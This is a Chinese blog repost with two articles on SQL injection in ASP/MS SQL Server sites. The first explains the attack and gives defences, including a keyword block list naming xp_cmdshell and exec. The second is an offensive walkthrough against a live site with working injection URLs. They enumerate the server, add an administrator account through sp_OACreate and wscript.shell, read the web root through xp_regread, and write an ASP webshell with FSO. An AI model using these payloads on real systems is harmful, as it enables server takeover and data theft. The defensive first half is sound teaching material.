SQL注入攻击的原理及其防范措施

http://blog.csdn.net/xdfwsl/archive/2006/05/04/708488.aspx

<script language="javascript" type="text/javascript"> </script>   <script language="javascript" type="text/javascript"> var diarydays="<2004-08-05><2004-08-09><2004-08-12><2004-08-17><2004-08-19><2004-07-14><2004-07-13><2004-07-08><2004-07-05><2004-07-04><2004-07-03><2004-06-27><2004-06-26><2004-06-25>"; </script> <script language="JavaScript" type="text/javascript"> var months = new Array("一", "二", "三","四", "五", "六", "七", "八", "九","十", "十一", "十二"); var daysInMonth = new Array(31, 28, 31, 30, 31, 30, 31, 31,30, 31, 30, 31); var days = new Array("日","一", "二", "三","四", "五", "六"); var classTemp; var calendarHover="calendarHover"; var today=new getToday(); var year=today.year; var month=today.month; var newCal; //得到某月天数 function getDays(month, year) { if (1 == month) return ((0 == year % 4) && (0 != (year % 100))) ||(0 == year % 400) ? 29 : 28; else return daysInMonth[month]; } //得到当天时间信息 function getToday() { this.now = new Date(); this.year = this.now.getFullYear(); this.month = this.now.getMonth(); this.day = this.now.getDate(); } //生成日历 function Calendar() { newCal = new Date(year,month,1); //当前月的第一天 today = new getToday(); var day = -1; //用来判断日历中是否为当天 var startDay = newCal.getDay(); //当月开始时间 var endDay=getDays(newCal.getMonth(), newCal.getFullYear());//当月结束时间 var daily = 0; //用来生成日历中的天数值 if ((today.year == newCal.getFullYear()) &&(today.month == newCal.getMonth())) day = today.day; var caltable = document.all.caltable.tBodies.calendar; //得到日历表格的集合 var intDaysInMonth =getDays(newCal.getMonth(), newCal.getFullYear()); //得到当月天数 //生成日历 for (var intWeek = 0; intWeek < caltable.rows.length;intWeek++) for (var intDay = 0;intDay < caltable.rows[intWeek].cells.length;intDay++) { var cell = caltable.rows[intWeek].cells[intDay]; //得到单元袼 //生成字符串用于判断当天是否有日志 var montemp=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); if ((intDay == startDay) && (0 == daily)){ daily = 1;} var daytemp=daily<10?("0"+daily):(daily); var d="<"+newCal.getFullYear()+"-"+montemp+"-"+daytemp+">"; //选择样式 if(day==daily) cell.className="calendarNow"; else if(diarydays.indexOf(d)!=-1) cell.className="calendarLink"; else if(intDay==6) cell.className = "calendarDaySat"; else if (intDay==0) cell.className ="calendarDaySun"; else cell.className="calendarTd"; //生成值 if ((daily > 0) && (daily <= intDaysInMonth)) { cell.innerText = daily; daily++; } else cell.innerText = ""; } document.all.year.value=year; document.all.month.value=month+1; } function subMonth() { if ((month-1)<0) { month=11; year=year-1; } else { month=month-1; } Calendar(); } function addMonth() { if((month+1)>11) { month=0; year=year+1; } else { month=month+1; } Calendar(); } //得到响应事件 function getDiary() { var mon=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); var day=event.srcElement.innerText<10?("0"+event.srcElement.innerText):(event.srcElement.innerText); var d="<"+newCal.getFullYear()+"-"+mon+"-"+day+">"; if ("TD" == event.srcElement.tagName) if (("" != event.srcElement.innerText)&&(diarydays.indexOf(d)!=-1)) { diary.location="/foxmail/archive/"+newCal.getFullYear()+"/"+mon+"/"+day+".aspx"; window.location.href = diary.location; } } function setDate() { if (document.all.month.value<1||document.all.month.value>12) { alert("月的有效范围在1-12之间!"); return; } year=Math.ceil(document.all.year.value); month=Math.ceil(document.all.month.value-1); Calendar(); } </script>

<script type="text/javascript">function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script>
<script language="javascript" type="text/javascript">document.title="SQL注入攻击的原理及其防范措施 - "+document.title</script>
ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动

态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大

了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老

手之间区别的三个集中点。而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI

2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一

些网站这种漏洞就更普遍了,可能这是因为这些网站大都是一些学生做的缘故吧,虽然个个都很聪明,可

是毕竟没有经验,而且处于学习中,难免漏洞多多了。本文主要讲讲SQL注入的防范措施,而要明白这些

防范措施的用处,须先详细讲解利用SQL注入漏洞入侵的过程。新手们看明白啦。

  相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安

全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,将这个网址提交到服务器

后,服务器将进行类似Select * from 表名 where

字段="&ID的查询(ID即客户端提交的参数,本例是即444),再将查询结果返回给客户端,如果这里客户端

故意提交这么一个网址:

  http://localhost/lawjia/show.asp?ID=444 and user>0,这时,服务器运行Select * from 表名

where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'sonybb' 转换为数据类型为 int

的列时发生语法错误。
/lawjia/show.asp, 第 47 行

  但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,

连接帐号名为:sonybb。所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测

不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的

资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当某个人知道网站管理员帐号存在表

login中,管理员帐号名为admin,他想知道管理员密码,这里他从客户端接着提交这样一个网址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where

user_name='admin')>0,返回的出错信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '!@#*&admin' 转换为数据类

型为 int 的列时发生语法错误。
/lawjia/show.asp, 第 47 行

  你知道吗?上面标红的部分就是管理员帐号admin的密码!虽然很复杂,让人看几遍也记不住的,但

它就这样显示在你面前了,这时您就可以用这个帐号和密码接管人家的网站了!这时你可能还会说,如果

他不是事先知道管理员帐号存在表login中,而且知道管理员帐号为admin,那他就不可能获得管理员密码

。你错了,只要人家愿意多花时间尝试,他将可以获得数据库连接帐号权限内所能获得的所有信息!具体

过程请参看网上的这篇文章:





图1(图中的示例网站在作者本地电脑上运行)





  不知那些没注意过SQL注入漏洞的ASP程序员们看了上图的例子,要作何感想呢?是不是觉得这个所谓

的网站安全漏洞检测工具SBSI 2.0简直就是MS_SQL的企业管理器呢?只不过人家不需要帐号和密码就可以

查看您数据库里的所有信息了。如果您的网站就这样被人不费吹灰之力入侵了,您是不是要吐几升血了呢

?也许您已经为系统安全费尽心思了,装补丁、安防火墙、装杀毒软件、巧妙配置IIS及数据库用户权限

,但您就是没有注意到SQL注入漏洞,于是"千里之堤,溃于蚁穴"。防火墙与杀毒软件对SQL注入是没办法

防范的,因为SQL注入入侵跟普通的WEB页面访问没什么区别,所以往往是防不甚防。而且一个服务器上放

置的网站往往是有很多个的,服务器管理员不可能挨个网站挨个页面的审查其是否存在SQL注入漏洞。那

么应该如何防范SQL注入入侵呢?作为服务器管理员或网站程序员应该分别怎么做呢?服务器管理员要做

的事主要是配置IIS和数据库用户权限,而网站程序员主要是要在程序代码编写上防范SQL注入入侵。下面

详细叙述:

  对了服务器管理员,既然你不可能挨个检查每个网站是否存在SQL注入漏洞,那么就来个一个绝招。

这个绝招能有效防止SQL注入入侵而且"省心又省力,效果真好!"SQL注入入侵是根据IIS给出的ASP错误提

示信息来入侵的,如果你把IIS设置成不管出什么样的ASP错误,只给出一种错误提示信息,即http 500错

误,那么人家就没办法入侵了。具体设置请参看图2。主要把500:100这个错误的默认提示页面

C:/WINDOWS/Help/iisHelp/common/500-100.asp改成
C:/WINDOWS/Help/iisHelp/common/500.htm即可,这时,无论ASP运行中出什么错,服务器都只提示HTTP

 500错误。



图2、IIS出错信息设置
  但是这样设置一个不好的地方是程序员编写的代码出错时,服务器不给出详细的错误提示信息,会给

程序员带来很大的不便。不过,服务器毕竟不是测试代码的地方,应坚持安全稳定第一,这样设置也是无

可厚非的,事实上许多服务器的出错信息都是如此设置。

  服务器管理员还应在IIS中为每个网站设置好执行权限,可千万别给人家静态网站以"脚本和可执行"

权限。一般情况下给个"纯脚本"权限就够了,对于那些通过网站后台管理中心上传的文件存放的目录,就

更吝啬一点吧,执行权限设为"无"好了,这样做是为了防止人家上传ASP木马,执行权限设为"无",人家

上传ASP木马也运行不了。一般情况下,SQL注入漏洞仅是涉及一个网站安全的事,如果人家通过这个漏洞

上传了ASP木马并运行起来,那整个服务器都失陷了。所以有远见的、有责任心的服务器管理员应该十分

吝啬的配置IIS的执行权限。

  同样的吝啬态度应适用于数据库用户的权限配置上,当然这里数据库是指MS_SQL啦,ACCESS都没有

用户权限配置这一步骤。如果PUBLIC权限足够使用的绝不给再高的权限,可千万别把SA级别的权限随随便

便地给人家啊。那个所谓的网站安全漏洞检测工具NBSI 2.0可有跨库进行SQL注入的功能啊,如果你把SA

权限给了存在SQL注入漏洞的库,那其它库就不保啦!城门失火,殃及池鱼呀。而人家还可以通过调用xp_

cmdshell命令得到系统的最高权限。具体步骤还是请参看上面提到的那篇《SQL注入漏洞全接触》这篇文

章吧。

  接下来要讲讲程序员的防范措施了。程序主要要做两件事,最重要的一件事,当然是对客户端提交的

变量参数进行仔细地检测啦。对客户端提交的变量进行检查以防止SQL注入,有各种方法,到http://comm

unity.csdn.net/上搜索一下,你能获得许多有益信息。这里介绍一种现成的方法,别人已经写好了检测

代码,拿来用一下,不用自己辛苦啦。那就是"枫叶SQL通用防注入V1.0 ASP版",这是一段对用户通过网

址提交过来的变量参数进行检查的代码,发现客户端提交的参数中有"exec、insert、select、delete、f

rom、update、count、user、xp_cmdshell、add、net、Asc"等用于SQL注入的常用字符时,立即停止执行

ASP并给出警告信息或转向出错页面。大家可以到网上搜索一下,下载这段代码,存为一个ASP页面,如ch

eckSQL.asp,把这个页面include到每个需要带参数查询SQL数据库ASP页面中,记住,只要加一行这样的<

!--#include file="checkSQL.asp"-->代码就行了。

  程序员要做的第二件事是给用户密码加密啦。比如用MD5加密。MD5是没有反向算法,不能解密的。人

家即使知道经加密后存在数据库里的像乱码一样的密码,他也没办法知道原始密码了。不过,人家可以用

UPDATE方法用他的密码代替你的密码,但这个操作还是有点麻烦,人家可能会怕麻烦而放弃。而那个所谓

的网站安全漏洞检测工具NBSI 2.0是没有提供UPDATE操作功能的,所以用MD5加密后,人家仅用NBSI 2.0

而不辅以手动操作的话,就不可能获得网站管理员帐号的密码,这将挡住许多菜鸟级的攻击者,至少那些

既不懂ASP又不懂SQL、年纪小小的男性青年是没有办法啦!

  文章写到这,已经够长了,本来还想对那些所谓的网站安全漏洞检测工具如NBSI之流的黑客工具进行

一番理性的探讨的,看来还是放弃好了。为了增强网站安全,了解攻击手段是必须的,但是,利用漏洞开

发专门的黑客工具,使那些其实并不具备必要的网络技术和网络安全知识的人(就是文中提到的"既不懂A

SP又不懂SQL、年纪小小的男性青年")轻而易举地侵入一家网站,这除了为许多网络管理员制造麻烦外,

是否还具有加强网络安全意识提高网络安全水平的功效呢?

榨干MS SQL Server 最后一滴血




风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微

软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

  以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多

说这方面了。

  MS SQL内置函数介绍:

  @@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户

Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

  这些信息有助我们对系统进行简单的了解

  好,下面我们就开始吧!

  语句:

http://www.xxx.com/list.asp?classid=1'
  返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未

闭合的引号。 /list.asp,行290
  从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利

用以上介绍的函数为我们工作了:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL

Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft

Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类

型为 int 的列时发生语法错误。 /list.asp,行290
  相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面

的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

  语句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
  返回: 正常返回的信息

  确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务

器角色成员组默认是在每个数据库增加一个DBO用户。

  返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型

为 int 的列时发生语法错误。 /list.asp,行290
  说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

  语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft

OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为

int 的列时发生语法错误。 /list.asp,行290

  这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,

或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT

ADMIN,拿NT ADMIN就要用到:

  MSSQL内置存储过程:

  sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用) sp_OAGetErrorInfo

sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

  语句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE

'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null,

'C:/WINNT/system32/cmd.exe /c net user cntest chinatest /add'
  正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

  创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。 如果对方

的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

  遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗

透的。

  由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程

序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASK

WEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

  利用内置存储过程 xp_regread(读取注册表键值,权限public):

  语句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey='HKEY_LOCAL_MACHINE',

@key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/',

values=@test OUTPUT insert into paths(path) values(@test)
  IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE/

SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/

  利用爆字段将数据库的值读出来:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
  返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server

Driver][SQL Server]将 varchar 值 'E:/www,,201' 转换为数据类型为 int 的列时发生语法错误。
  这说明网页目录在E:/www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才

可使用FSO和FSO开入的前提下) :

  语句:

http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:/www/test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'
  在E:/WWW下创建一个test.asp并写入On Error Resume next语句:

http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.f

ilesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',
%20@f%20out,%20'e:/www/test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20N

ULL,%20'asp horse '
  在E:/WWW/test.asp增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用

%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作

为WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"’
  在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’
  给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给

自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了,接下来工作应该由你来了。



<script type="text/javascript">document.write(" ");</script>

 

 

<script type="text/javascript"> </script>

<script language="javascript" type="text/javascript"> </script>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值